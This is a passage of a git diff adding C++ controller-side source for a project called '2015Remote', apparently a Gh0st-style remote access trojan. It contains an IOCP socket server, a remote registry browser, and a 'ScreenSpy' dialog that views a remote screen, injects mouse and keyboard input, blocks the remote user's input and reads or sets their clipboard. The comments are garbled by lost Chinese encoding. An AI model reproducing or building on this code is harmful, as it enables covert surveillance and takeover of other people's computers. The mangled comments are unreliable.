ContextObject->wsaOutBuffer.buf = (char*)ContextObject->OutCompressedBuffer.GetBuffer(); + ContextObject->wsaOutBuffer.len = ContextObject->OutCompressedBuffer.GetBufferLength(); //ʣݺͳ + + int iOk = WSASend(ContextObject->sClientSocket, &ContextObject->wsaOutBuffer,1, + &ContextObject->wsaOutBuffer.len, ulFlags,&OverlappedPlus->m_ol, NULL); + if (iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING ) + { + int a = GetLastError(); + RemoveStaleContext(ContextObject); + SAFE_DELETE(OverlappedPlus); + } + } + }catch(...){} + + return FALSE; +} + +DWORD IOCPServer::ListenThreadProc(LPVOID lParam) //߳ +{ + IOCPServer* This = (IOCPServer*)(lParam); + WSANETWORKEVENTS NetWorkEvents; + + while(1) + { + if (WaitForSingleObject(This->m_hKillEvent, 100) == WAIT_OBJECT_0) + { + break; + } + + DWORD dwRet; + dwRet = WSAWaitForMultipleEvents(1, + &This->m_hListenEvent, + FALSE, + 100, + FALSE); + + if (dwRet == WSA_WAIT_TIMEOUT) + { + continue; + } + + int iRet = WSAEnumNetworkEvents(This->m_sListenSocket, + //¼ Ǿͽ¼תһ¼ ж + This->m_hListenEvent, + &NetWorkEvents); + + if (iRet == SOCKET_ERROR) + { + break; + } + + if (NetWorkEvents.lNetworkEvents & FD_ACCEPT) + { + if (NetWorkEvents.iErrorCode[FD_ACCEPT_BIT] == 0) + { + //һǾͽOnAccept()д + This->OnAccept(); + } + else + { + break; + } + } + } + + return 0; +} + +void IOCPServer::OnAccept() +{ + SOCKADDR_IN ClientAddr = {0}; + SOCKET sClientSocket = INVALID_SOCKET; + + int iRet = 0; + int iLen = 0;; + + iLen = sizeof(SOCKADDR_IN); + sClientSocket = accept(m_sListenSocket, + (sockaddr*)&ClientAddr, + &iLen); //ͨǵļ׽һ֮źͨŵ׽ + if (sClientSocket == SOCKET_ERROR) + { + return; + } + + //Ϊÿһźάһ֮ݽṹΪû± + PCONTEXT_OBJECT ContextObject = AllocateContext(); // Context + + if (ContextObject == NULL) + { + closesocket(sClientSocket); + sClientSocket = INVALID_SOCKET; + return; + } + + ContextObject->sClientSocket = sClientSocket; + + ContextObject->wsaInBuf.buf = (char*)ContextObject->szBuffer; + ContextObject->wsaInBuf.len = sizeof(ContextObject->szBuffer); + + HANDLE Handle = CreateIoCompletionPort((HANDLE)sClientSocket, m_hCompletionPort, (DWORD)ContextObject, 0); + + if (Handle!=m_hCompletionPort) + { + delete ContextObject; + ContextObject = NULL; + + if (sClientSocket!=INVALID_SOCKET) + { + closesocket(sClientSocket); + sClientSocket = INVALID_SOCKET; + } + + return; + } + + //׽ֵѡ Set KeepAlive SO_KEEPALIVE + //ӼԷǷ2Сʱڴ׽ӿڵһû + //ݽTCPԶԷ һִ + m_ulKeepLiveTime = 3; + const BOOL bKeepAlive = TRUE; + setsockopt(ContextObject->sClientSocket,SOL_SOCKET,SO_KEEPALIVE,(char*)&bKeepAlive,sizeof(bKeepAlive)); + + //óʱϸϢ + tcp_keepalive KeepAlive; + KeepAlive.onoff = 1; // ñ + KeepAlive.keepalivetime = m_ulKeepLiveTime; //3ûݣͷ̽ + KeepAlive.keepaliveinterval = 1000 * 10; //ԼΪ10 Resend if No-Reply + WSAIoctl(ContextObject->sClientSocket, SIO_KEEPALIVE_VALS,&KeepAlive,sizeof(KeepAlive), + NULL,0,(unsigned long *)&bKeepAlive,0,NULL); + + //ʱͻ߻ϵȷϿûSO_KEEPALIVEѡ + //һֱرSOCKETΪϵĵĬСʱʱ̫Ǿֵ + + CLock cs(m_cs); + m_ContextConnectionList.AddTail(ContextObject); //뵽ǵڴб + + OVERLAPPEDPLUS *OverlappedPlus = new OVERLAPPEDPLUS(IOInitialize); //עصIO û + + BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD)ContextObject, &OverlappedPlus->m_ol); // ߳ + //ΪǽܵһûߵôǾͽ͸ǵɶ˿ ǵĹ̴߳ + if ( (!bOk && GetLastError() != ERROR_IO_PENDING)) //Ͷʧ + { + RemoveStaleContext(ContextObject); + SAFE_DELETE(OverlappedPlus); + return; + } + + PostRecv(ContextObject); +} + +VOID IOCPServer::PostRecv(CONTEXT_OBJECT* ContextObject) +{ + //ǵĸߵûͶһݵ + // ûĵһݰҲ;DZض˵ĵ½󵽴ǵĹ߳̾ + // Ӧ,ProcessIOMessage + OVERLAPPEDPLUS * OverlappedPlus = new OVERLAPPEDPLUS(IORead); + + DWORD dwReturn; + ULONG ulFlags = MSG_PARTIAL; + int iOk = WSARecv(ContextObject->sClientSocket, &ContextObject->wsaInBuf, + 1,&dwReturn, &ulFlags,&OverlappedPlus->m_ol, NULL); + + if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING) + { + int a = GetLastError(); + RemoveStaleContext(ContextObject); + SAFE_DELETE(OverlappedPlus); + } +} + +PCONTEXT_OBJECT IOCPServer::AllocateContext() +{ + PCONTEXT_OBJECT ContextObject = NULL; + + CLock cs(m_cs); + + if (m_ContextFreePoolList.IsEmpty()==FALSE) + { + ContextObject = m_ContextFreePoolList.RemoveHead(); + } + else + { + ContextObject = new CONTEXT_OBJECT; + } + + if (ContextObject != NULL) + { + ContextObject->InitMember(); + } + return ContextObject; +} + +VOID IOCPServer::RemoveStaleContext(CONTEXT_OBJECT* ContextObject) +{ + CLock cs(m_cs); + if (m_ContextConnectionList.Find(ContextObject)) //ڴвҸûݽṹ + { + m_OfflineProc(ContextObject); + + CancelIo((HANDLE)ContextObject->sClientSocket); //ȡڵǰ׽ֵ첽IO -->PostRecv + closesocket(ContextObject->sClientSocket); //ر׽ + ContextObject->sClientSocket = INVALID_SOCKET; + + while (!HasOverlappedIoCompleted((LPOVERLAPPED)ContextObject)) //жϻû첽IOڵǰ׽ + { + Sleep(0); + } + + MoveContextToFreePoolList(ContextObject); //ڴṹڴ + } +} + +VOID IOCPServer::MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject) +{ + CLock cs(m_cs); + + POSITION Pos = m_ContextConnectionList.Find(ContextObject); + if (Pos) + { + ContextObject->InCompressedBuffer.ClearBuffer(); + ContextObject->InDeCompressedBuffer.ClearBuffer(); + ContextObject->OutCompressedBuffer.ClearBuffer(); + + memset(ContextObject->szBuffer,0,8192); + m_ContextFreePoolList.AddTail(ContextObject); //ڴ + m_ContextConnectionList.RemoveAt(Pos); //ڴṹƳ + } +} diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h new file mode 100644 index 0000000..125242c --- /dev/null +++ b/server/2015Remote/IOCPServer.h @@ -0,0 +1,151 @@ +#pragma once + +#include +#pragma comment(lib,"ws2_32.lib") +#include "CpuUseage.h" +#include "Buffer.h" + +#include +#define PACKET_LENGTH 0x2000 + +#define FLAG_LENGTH 5 +#define HDR_LENGTH 13 + +#define NC_CLIENT_CONNECT 0x0001 +#define NC_RECEIVE 0x0004 +#define NC_RECEIVE_COMPLETE 0x0005 // + +enum IOType +{ + IOInitialize, + IORead, + IOWrite, + IOIdle +}; + +typedef struct _CONTEXT_OBJECT +{ + SOCKET sClientSocket; + WSABUF wsaInBuf; + WSABUF wsaOutBuffer; + char szBuffer[PACKET_LENGTH]; + CBuffer InCompressedBuffer; // յѹ + CBuffer InDeCompressedBuffer; // ѹ + CBuffer OutCompressedBuffer; + int v1; + HANDLE hDlg; + + VOID InitMember() + { + memset(szBuffer,0,sizeof(char)*PACKET_LENGTH); + v1 = 0; + hDlg = NULL; + sClientSocket = INVALID_SOCKET; + memset(&wsaInBuf,0,sizeof(WSABUF)); + memset(&wsaOutBuffer,0,sizeof(WSABUF)); + } +}CONTEXT_OBJECT,*PCONTEXT_OBJECT; + +typedef CList ContextObjectList; + +class IOCPServer +{ +public: + SOCKET m_sListenSocket; + HANDLE m_hCompletionPort; + UINT m_ulMaxConnections; // + HANDLE m_hListenEvent; + HANDLE m_hListenThread; + BOOL m_bTimeToKill; + HANDLE m_hKillEvent; + + ULONG m_ulThreadPoolMin; + ULONG m_ulThreadPoolMax; + ULONG m_ulCPULowThreadsHold; + ULONG m_ulCPUHighThreadsHold; + ULONG m_ulCurrentThread; + ULONG m_ulBusyThread; + + CCpuUsage m_cpu; + + ULONG m_ulKeepLiveTime; + + char m_szPacketFlag[FLAG_LENGTH]; + + typedef void (CALLBACK *pfnNotifyProc)(CONTEXT_OBJECT* ContextObject); + typedef void (CALLBACK *pfnOfflineProc)(CONTEXT_OBJECT* ContextObject); + BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort); + + static DWORD WINAPI ListenThreadProc(LPVOID lParam); + BOOL IOCPServer::InitializeIOCP(VOID); + static DWORD WINAPI WorkThreadProc(LPVOID lParam); + ULONG m_ulWorkThreadCount; + VOID IOCPServer::OnAccept(); + static CRITICAL_SECTION m_cs; + + /************************************************************************/ + //±Ķ + ContextObjectList m_ContextConnectionList; + ContextObjectList m_ContextFreePoolList; + PCONTEXT_OBJECT IOCPServer::AllocateContext(); + VOID RemoveStaleContext(CONTEXT_OBJECT* ContextObject); + VOID IOCPServer::MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject); + + VOID IOCPServer::PostRecv(CONTEXT_OBJECT* ContextObject); + + /************************************************************************/ + //õ + BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans); + BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans); + BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans); + VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer , ULONG ulOriginalLength); + BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompressedLength); + IOCPServer(void); + ~IOCPServer(void); + + pfnNotifyProc m_NotifyProc; + pfnOfflineProc m_OfflineProc; +}; + +class CLock +{ +public: + CLock(CRITICAL_SECTION& cs) + { + m_cs = &cs; + Lock(); + } + ~CLock() + { + Unlock(); + + } + + void Unlock() + { + LeaveCriticalSection(m_cs); + } + + void Lock() + { + EnterCriticalSection(m_cs); + } + +protected: + CRITICAL_SECTION* m_cs; +}; + + +class OVERLAPPEDPLUS +{ +public: + + OVERLAPPED m_ol; + IOType m_ioType; + + OVERLAPPEDPLUS(IOType ioType) + { + ZeroMemory(this, sizeof(OVERLAPPEDPLUS)); + m_ioType = ioType; + } +}; diff --git a/server/2015Remote/RegisterDlg.cpp b/server/2015Remote/RegisterDlg.cpp new file mode 100644 index 0000000..d921057 --- /dev/null +++ b/server/2015Remote/RegisterDlg.cpp @@ -0,0 +1,306 @@ +// RegisterDlg.cpp : ʵļ +// + +#include "stdafx.h" +#include "2015Remote.h" +#include "RegisterDlg.h" +#include "afxdialogex.h" + + +enum MYKEY{ + MHKEY_CLASSES_ROOT, + MHKEY_CURRENT_USER, + MHKEY_LOCAL_MACHINE, + MHKEY_USERS, + MHKEY_CURRENT_CONFIG +}; +enum KEYVALUE{ + MREG_SZ, + MREG_DWORD, + MREG_BINARY, + MREG_EXPAND_SZ +}; + +// CRegisterDlg Ի + +IMPLEMENT_DYNAMIC(CRegisterDlg, CDialog) + + +CRegisterDlg::CRegisterDlg(CWnd* pParent,IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject) + : CDialog(CRegisterDlg::IDD, pParent) +{ + m_iocpServer = IOCPServer; + m_ContextObject = ContextObject; +} + +CRegisterDlg::~CRegisterDlg() +{ +} + +void CRegisterDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + DDX_Control(pDX, IDC_TREE, m_Tree); + DDX_Control(pDX, IDC_LIST, m_ControlList); +} + + +BEGIN_MESSAGE_MAP(CRegisterDlg, CDialog) + ON_WM_CLOSE() + ON_NOTIFY(TVN_SELCHANGED, IDC_TREE, &CRegisterDlg::OnTvnSelchangedTree) +END_MESSAGE_MAP() + + +// CRegisterDlg Ϣ + + +BOOL CRegisterDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + // TODO: ڴӶijʼ + + m_ImageListTree.Create(18, 18, ILC_COLOR16,10, 0); // ؼϵͼ + + m_hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICON_FATHER), IMAGE_ICON, 18, 18, 0); + m_ImageListTree.Add(m_hIcon); + m_hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICON_DIR), IMAGE_ICON, 18, 18, 0); + m_ImageListTree.Add(m_hIcon); + + m_Tree.SetImageList(&m_ImageListTree,TVSIL_NORMAL); + + m_hRoot = m_Tree.InsertItem("ע",0,0,0,0); //0 + HKCU = m_Tree.InsertItem("HKEY_CURRENT_USER",1,1,m_hRoot,0); //1 + HKLM = m_Tree.InsertItem("HKEY_LOCAL_MACHINE",1,1,m_hRoot,0); + HKUS = m_Tree.InsertItem("HKEY_USERS",1,1,m_hRoot,0); + HKCC = m_Tree.InsertItem("HKEY_CURRENT_CONFIG",1,1,m_hRoot,0); + HKCR = m_Tree.InsertItem("HKEY_CLASSES_ROOT",1,1,m_hRoot,0); + + m_Tree.Expand(m_hRoot,TVE_EXPAND); + + m_ControlList.InsertColumn(0,"",LVCFMT_LEFT,150,-1); + m_ControlList.InsertColumn(1,"",LVCFMT_LEFT,60,-1); + m_ControlList.InsertColumn(2,"",LVCFMT_LEFT,300,-1); + m_ControlList.SetExtendedStyle(LVS_EX_FULLROWSELECT); + //////ͼ////// + m_ImageListControlList.Create(16,16,TRUE,2,2); + m_ImageListControlList.Add(AfxGetApp()->LoadIcon(IDI_ICON_STRING)); + m_ImageListControlList.Add(AfxGetApp()->LoadIcon(IDI_ICON_DWORD)); + m_ControlList.SetImageList(&m_ImageListControlList,LVSIL_SMALL); + + m_isEnable = TRUE; //ֵΪ˽Ƶ 򱻿ض + + return TRUE; // return TRUE unless you set the focus to a control + // 쳣: OCX ҳӦ FALSE +} + + +void CRegisterDlg::OnClose() +{ + // TODO: ڴϢ/Ĭֵ + m_ContextObject->v1 = 0; + CancelIo((HANDLE)m_ContextObject->sClientSocket); + closesocket(m_ContextObject->sClientSocket); + CDialog::OnClose(); + delete this; +} + + +void CRegisterDlg::OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult) +{ + LPNMTREEVIEW pNMTreeView = reinterpret_cast(pNMHDR); + + if(!m_isEnable) + { + return; + } + m_isEnable=FALSE;; + + TVITEM Item = pNMTreeView->itemNew; + + if(Item.hItem == m_hRoot) + { + m_isEnable=TRUE;; + return; + } + + m_hSelectedItem=Item.hItem; //û򿪵ڵ //0 1 2 2 3 + m_ControlList.DeleteAllItems(); + + CString strFullPath=GetFullPath(m_hSelectedItem); //üֵ· + + char bToken=GetFatherPath(strFullPath); //[2] \1\2\3 + //һ + int nitem=m_ControlList.InsertItem(0,"(Ĭ)",0); + m_ControlList.SetItemText(nitem,1,"REG_SZ"); + m_ControlList.SetItemText(nitem,2,"(δֵ)"); + + strFullPath.Insert(0,bToken);// Ǹ + bToken=COMMAND_REG_FIND; + strFullPath.Insert(0,bToken); //ѯ [COMMAND_REG_FIND][x] + + m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)(strFullPath.GetBuffer(0)), strFullPath.GetLength()+1); + + m_isEnable = TRUE; + + *pResult = 0; +} + +CString CRegisterDlg::GetFullPath(HTREEITEM hCurrent) +{ + CString strTemp; + CString strReturn = ""; + while(1) + { + if(hCurrent==m_hRoot) + { + return strReturn; + } + strTemp = m_Tree.GetItemText(hCurrent); + if(strTemp.Right(1) != "\\") + strTemp += "\\"; + strReturn = strTemp + strReturn; + hCurrent = m_Tree.GetParentItem(hCurrent); //õ + + } + return strReturn; +} + +char CRegisterDlg::GetFatherPath(CString& strFullPath) +{ + char bToken; + if(!strFullPath.Find("HKEY_CLASSES_ROOT")) //ж + { + + bToken=MHKEY_CLASSES_ROOT; + strFullPath.Delete(0,sizeof("HKEY_CLASSES_ROOT")); + }else if(!strFullPath.Find("HKEY_CURRENT_USER")) + { + bToken=MHKEY_CURRENT_USER; + strFullPath.Delete(0,sizeof("HKEY_CURRENT_USER")); + + }else if(!strFullPath.Find("HKEY_LOCAL_MACHINE")) + { + bToken=MHKEY_LOCAL_MACHINE; + strFullPath.Delete(0,sizeof("HKEY_LOCAL_MACHINE")); + + }else if(!strFullPath.Find("HKEY_USERS")) + { + bToken=MHKEY_USERS; + strFullPath.Delete(0,sizeof("HKEY_USERS")); + + }else if(!strFullPath.Find("HKEY_CURRENT_CONFIG")) + { + bToken=MHKEY_CURRENT_CONFIG; + strFullPath.Delete(0,sizeof("HKEY_CURRENT_CONFIG")); + + } + return bToken; +} + + +void CRegisterDlg::OnReceiveComplete(void) +{ + switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0]) + { + + case TOKEN_REG_PATH: + { + AddPath((char*)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1))); + break; + } + + case TOKEN_REG_KEY: + { + AddKey((char*)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1))); + break; + } + + default: + // ䷢쳣 + break; + } +} + + +struct REGMSG{ + int count; //ָ + DWORD size; //ִС + DWORD valsize; //ֵС +}; + + +void CRegisterDlg::AddPath(char* szBuffer) +{ + if(szBuffer==NULL) return; + int msgsize=sizeof(REGMSG); + REGMSG msg; + memcpy((void*)&msg,szBuffer,msgsize); + DWORD size =msg.size; + int count=msg.count; + + if(size>0&&count>0){ //һ㱣ʩ + for(int i=0;im_hInstance, szFullPath, 17); + m_hCursor = LoadCursor(AfxGetApp()->m_hInstance,IDC_ARROW); + + sockaddr_in ClientAddr; + memset(&ClientAddr, 0, sizeof(ClientAddr)); + int ulClientAddrLen = sizeof(sockaddr_in); + BOOL bOk = getpeername(m_ContextObject->sClientSocket,(SOCKADDR*)&ClientAddr, &ulClientAddrLen); + + m_strClientIP = bOk != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : ""; + + m_bIsFirst = TRUE; + m_ulHScrollPos = 0; + m_ulVScrollPos = 0; + + if (m_ContextObject==NULL) + { + return; + } + ULONG ulBitmapInforLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; + m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapInforLength]; + + if (m_BitmapInfor_Full==NULL) + { + return; + } + + memcpy(m_BitmapInfor_Full, m_ContextObject->InDeCompressedBuffer.GetBuffer(1), ulBitmapInforLength); + + m_bIsCtrl = FALSE; + m_bIsTraceCursor = FALSE; +} + + +VOID CScreenSpyDlg::SendNext(void) +{ + BYTE bToken = COMMAND_NEXT; + m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1); +} + + +CScreenSpyDlg::~CScreenSpyDlg() +{ + if (m_BitmapInfor_Full!=NULL) + { + delete m_BitmapInfor_Full; + m_BitmapInfor_Full = NULL; + } + + ::ReleaseDC(m_hWnd, m_hFullDC); //GetDC + ::DeleteDC(m_hFullMemDC); //CreateƥڴDC + + ::DeleteObject(m_BitmapHandle); + if (m_BitmapData_Full!=NULL) + { + m_BitmapData_Full = NULL; + } +} + +void CScreenSpyDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); +} + + +BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog) + ON_WM_CLOSE() + ON_WM_PAINT() + ON_WM_SYSCOMMAND() +END_MESSAGE_MAP() + + +// CScreenSpyDlg Ϣ + + +BOOL CScreenSpyDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + SetIcon(m_hIcon,FALSE); + + CString strString; + strString.Format("%s - Զ %d%d", m_strClientIP, + m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight); + SetWindowText(strString); + + m_hFullDC = ::GetDC(m_hWnd); + m_hFullMemDC = CreateCompatibleDC(m_hFullDC); + m_BitmapHandle = CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, + DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); //Ӧóֱдġ豸޹صλͼ + + SelectObject(m_hFullMemDC, m_BitmapHandle);//һָ豸Ļ + + SetScrollRange(SB_HORZ, 0, m_BitmapInfor_Full->bmiHeader.biWidth); //ָΧСֵֵ + SetScrollRange(SB_VERT, 0, m_BitmapInfor_Full->bmiHeader.biHeight);//1366 768 + + CMenu* SysMenu = GetSystemMenu(FALSE); + if (SysMenu != NULL) + { + SysMenu->AppendMenu(MF_SEPARATOR); + SysMenu->AppendMenu(MF_STRING, IDM_CONTROL, "Ļ(&Y)"); + SysMenu->AppendMenu(MF_STRING, IDM_TRACE_CURSOR, "ٱض(&T)"); + SysMenu->AppendMenu(MF_STRING, IDM_BLOCK_INPUT, "ضͼ(&L)"); + SysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, "(&S)"); + SysMenu->AppendMenu(MF_SEPARATOR); + SysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, "ȡ(&R)"); + SysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, "ü(&L)"); + SysMenu->AppendMenu(MF_SEPARATOR); + } + + m_bIsCtrl = FALSE; //ǿ + m_bIsTraceCursor = FALSE; //Ǹ + m_ClientCursorPos.x = 0; + m_ClientCursorPos.y = 0; + + SendNext(); + + return TRUE; // return TRUE unless you set the focus to a control + // 쳣: OCX ҳӦ FALSE +} + + +VOID CScreenSpyDlg::OnClose() +{ + m_ContextObject->v1 = 0; + CancelIo((HANDLE)m_ContextObject->sClientSocket); + closesocket(m_ContextObject->sClientSocket); + + CDialog::OnClose(); + delete this; +} + + +VOID CScreenSpyDlg::OnReceiveComplete() +{ + if (m_ContextObject==NULL) + { + return; + } + + switch(m_ContextObject->InDeCompressedBuffer.GetBuffer()[0]) + { + case TOKEN_FIRSTSCREEN: + { + DrawFirstScreen(); //ʾһ֡ͼ һת + break; + } + + case TOKEN_NEXTSCREEN: + { + if (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[1]==ALGORITHM_DIFF) + { + DrawNextScreenDiff(); + } + break; + } + + case TOKEN_CLIPBOARD_TEXT: // + { + UpdateServerClipboard((char*)m_ContextObject->InDeCompressedBuffer.GetBuffer(1), m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1); + break; + } + } +} + +VOID CScreenSpyDlg::DrawFirstScreen(void) +{ + m_bIsFirst = FALSE; + + //õض˷ HBITMAPĻУһͼͳ + memcpy(m_BitmapData_Full, m_ContextObject->InDeCompressedBuffer.GetBuffer(1), m_BitmapInfor_Full->bmiHeader.biSizeImage); + + PostMessage(WM_PAINT);//WM_PAINTϢ +} + +VOID CScreenSpyDlg::DrawNextScreenDiff(void) +{ + //úֱӻĻϣǸһ±仯ֵĻȻ + //OnPaintȥ + //ǷƶĻǷ仯жǷػֹ꣬˸ + BOOL bChange = FALSE; + ULONG ulHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // ʶ + 㷨 + λ + + LPVOID FirstScreenData = m_BitmapData_Full; + LPVOID NextScreenData = m_ContextObject->InDeCompressedBuffer.GetBuffer(ulHeadLength); + ULONG NextScreenLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - ulHeadLength; + + POINT OldClientCursorPos; + memcpy(&OldClientCursorPos, &m_ClientCursorPos, sizeof(POINT)); + memcpy(&m_ClientCursorPos, m_ContextObject->InDeCompressedBuffer.GetBuffer(2), sizeof(POINT)); + + // ƶ + if (memcmp(&OldClientCursorPos, &m_ClientCursorPos, sizeof(POINT)) != 0) + { + bChange = TRUE; + } + + // ͷ仯 + + // ĻǷ仯 + if (NextScreenLength > 0) + { + bChange = TRUE; + } + + //lodsdָESIָڴλ4ֽݷEAXв4 + //movsbָֽڴݣͨSIDIĴַԴַĿַ + + //m_rectBuffer [0002 esi0002 esi000A 000C] [][]edi[][][][][][][][][][][][][][][][][] + __asm + { + mov ebx, [NextScreenLength] //ebx 16 + mov esi, [NextScreenData] + jmp CopyEnd +CopyNextBlock: + mov edi, [FirstScreenData] + lodsd // lpNextScreenĵһ˫ֽڣŵeax,DIBиıƫ + add edi, eax // lpFirstScreenƫeax + lodsd // lpNextScreenһ˫ֽڣŵeax, ǸıĴС + mov ecx, eax + sub ebx, 8 // ebx ȥ dword + sub ebx, ecx // ebx ȥDIBݵĴС + rep movsb +CopyEnd: + cmp ebx, 0 // Ƿд + jnz CopyNextBlock + } + + if (bChange) + { + PostMessage(WM_PAINT); + } +} + + +void CScreenSpyDlg::OnPaint() +{ + CPaintDC dc(this); // device context for painting + // TODO: ڴ˴Ϣ + // ΪͼϢ CDialog::OnPaint() + + if (m_bIsFirst) + { + DrawTipString("ȴ......"); + return; + } + + BitBlt(m_hFullDC,0,0, + m_BitmapInfor_Full->bmiHeader.biWidth, + m_BitmapInfor_Full->bmiHeader.biHeight, + m_hFullMemDC, + m_ulHScrollPos, + m_ulVScrollPos, + SRCCOPY + ); + + if (m_bIsTraceCursor) + DrawIconEx( + m_hFullDC, + m_ClientCursorPos.x - m_ulHScrollPos, + m_ClientCursorPos.y - m_ulVScrollPos, + m_hIcon, + 0,0, + 0, + NULL, + DI_NORMAL | DI_COMPAT + ); +} + +VOID CScreenSpyDlg::DrawTipString(CString strString) +{ + RECT Rect; + GetClientRect(&Rect); + //COLORREFһRGBɫ + COLORREF BackgroundColor = RGB(0x00, 0x00, 0x00); + COLORREF OldBackgroundColor = SetBkColor(m_hFullDC, BackgroundColor); + COLORREF OldTextColor = SetTextColor(m_hFullDC, RGB(0xff,0x00,0x00)); + //ExtTextOutṩһɹѡľΣõǰѡ塢ɫɫһַ + ExtTextOut(m_hFullDC, 0, 0, ETO_OPAQUE, &Rect, NULL, 0, NULL); + + DrawText (m_hFullDC, strString, -1, &Rect, + DT_SINGLELINE | DT_CENTER | DT_VCENTER); + + SetBkColor(m_hFullDC, BackgroundColor); + SetTextColor(m_hFullDC, OldBackgroundColor); +} + + +void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) +{ + // TODO: ڴϢ/Ĭֵ + + CMenu* SysMenu = GetSystemMenu(FALSE); + + switch (nID) + { + case IDM_CONTROL: + { + m_bIsCtrl = !m_bIsCtrl; + SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED); //˵ʽ + + break; + } + case IDM_SAVEDIB: // ձ + { + SaveSnapshot(); + break; + } + + case IDM_TRACE_CURSOR: // ٱض + { + m_bIsTraceCursor = !m_bIsTraceCursor; //ڸı + SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);//ڲ˵򹳲 + + // ػʾ + OnPaint(); + + break; + } + + case IDM_BLOCK_INPUT: // ͼ + { + BOOL bIsChecked = SysMenu->GetMenuState(IDM_BLOCK_INPUT, MF_BYCOMMAND) & MF_CHECKED; + SysMenu->CheckMenuItem(IDM_BLOCK_INPUT, bIsChecked ? MF_UNCHECKED : MF_CHECKED); + + BYTE bToken[2]; + bToken[0] = COMMAND_SCREEN_BLOCK_INPUT; + bToken[1] = !bIsChecked; + m_iocpServer->OnClientPreSending(m_ContextObject, bToken, sizeof(bToken)); + + break; + } + case IDM_GET_CLIPBOARD: //ҪClientļ + { + BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD; + m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(bToken)); + + break; + } + + case IDM_SET_CLIPBOARD: // + { + SendServerClipboard(); + + break; + } + } + + CDialog::OnSysCommand(nID, lParam); +} + + +BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg) +{ +#define MAKEDWORD(h,l) (((unsigned long)h << 16) | l) + switch (pMsg->message) + { + case WM_LBUTTONDOWN: + case WM_LBUTTONUP: + case WM_RBUTTONDOWN: + case WM_RBUTTONUP: + case WM_MOUSEMOVE: + case WM_LBUTTONDBLCLK: + case WM_RBUTTONDBLCLK: + case WM_MBUTTONDOWN: + case WM_MBUTTONUP: + case WM_MOUSEWHEEL: + { + MSG Msg; + memcpy(&Msg, pMsg, sizeof(MSG)); + Msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_ulVScrollPos, LOWORD(pMsg->lParam) + m_ulHScrollPos); + Msg.pt.x += m_ulHScrollPos; + Msg.pt.y += m_ulVScrollPos; + SendCommand(&Msg); + } + break; + case WM_KEYDOWN: + case WM_KEYUP: + case WM_SYSKEYDOWN: + case WM_SYSKEYUP: + if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN) + { + MSG Msg; + memcpy(&Msg, pMsg, sizeof(MSG)); + Msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_ulVScrollPos, LOWORD(pMsg->lParam) + m_ulHScrollPos); + Msg.pt.x += m_ulHScrollPos; + Msg.pt.y += m_ulVScrollPos; + SendCommand(&Msg); + } + if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE) + return true; + break; + } + + return CDialog::PreTranslateMessage(pMsg); +} + + +VOID CScreenSpyDlg::SendCommand(MSG* Msg) +{ + if (!m_bIsCtrl) + return; + + LPBYTE szData = new BYTE[sizeof(MSG) + 1]; + szData[0] = COMMAND_SCREEN_CONTROL; + memcpy(szData + 1, Msg, sizeof(MSG)); + m_iocpServer->OnClientPreSending(m_ContextObject, szData, sizeof(MSG) + 1); + + delete[] szData; +} + +BOOL CScreenSpyDlg::SaveSnapshot(void) +{ + CString strFileName = m_strClientIP + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.bmp"); + CFileDialog Dlg(FALSE, "bmp", strFileName, OFN_OVERWRITEPROMPT, 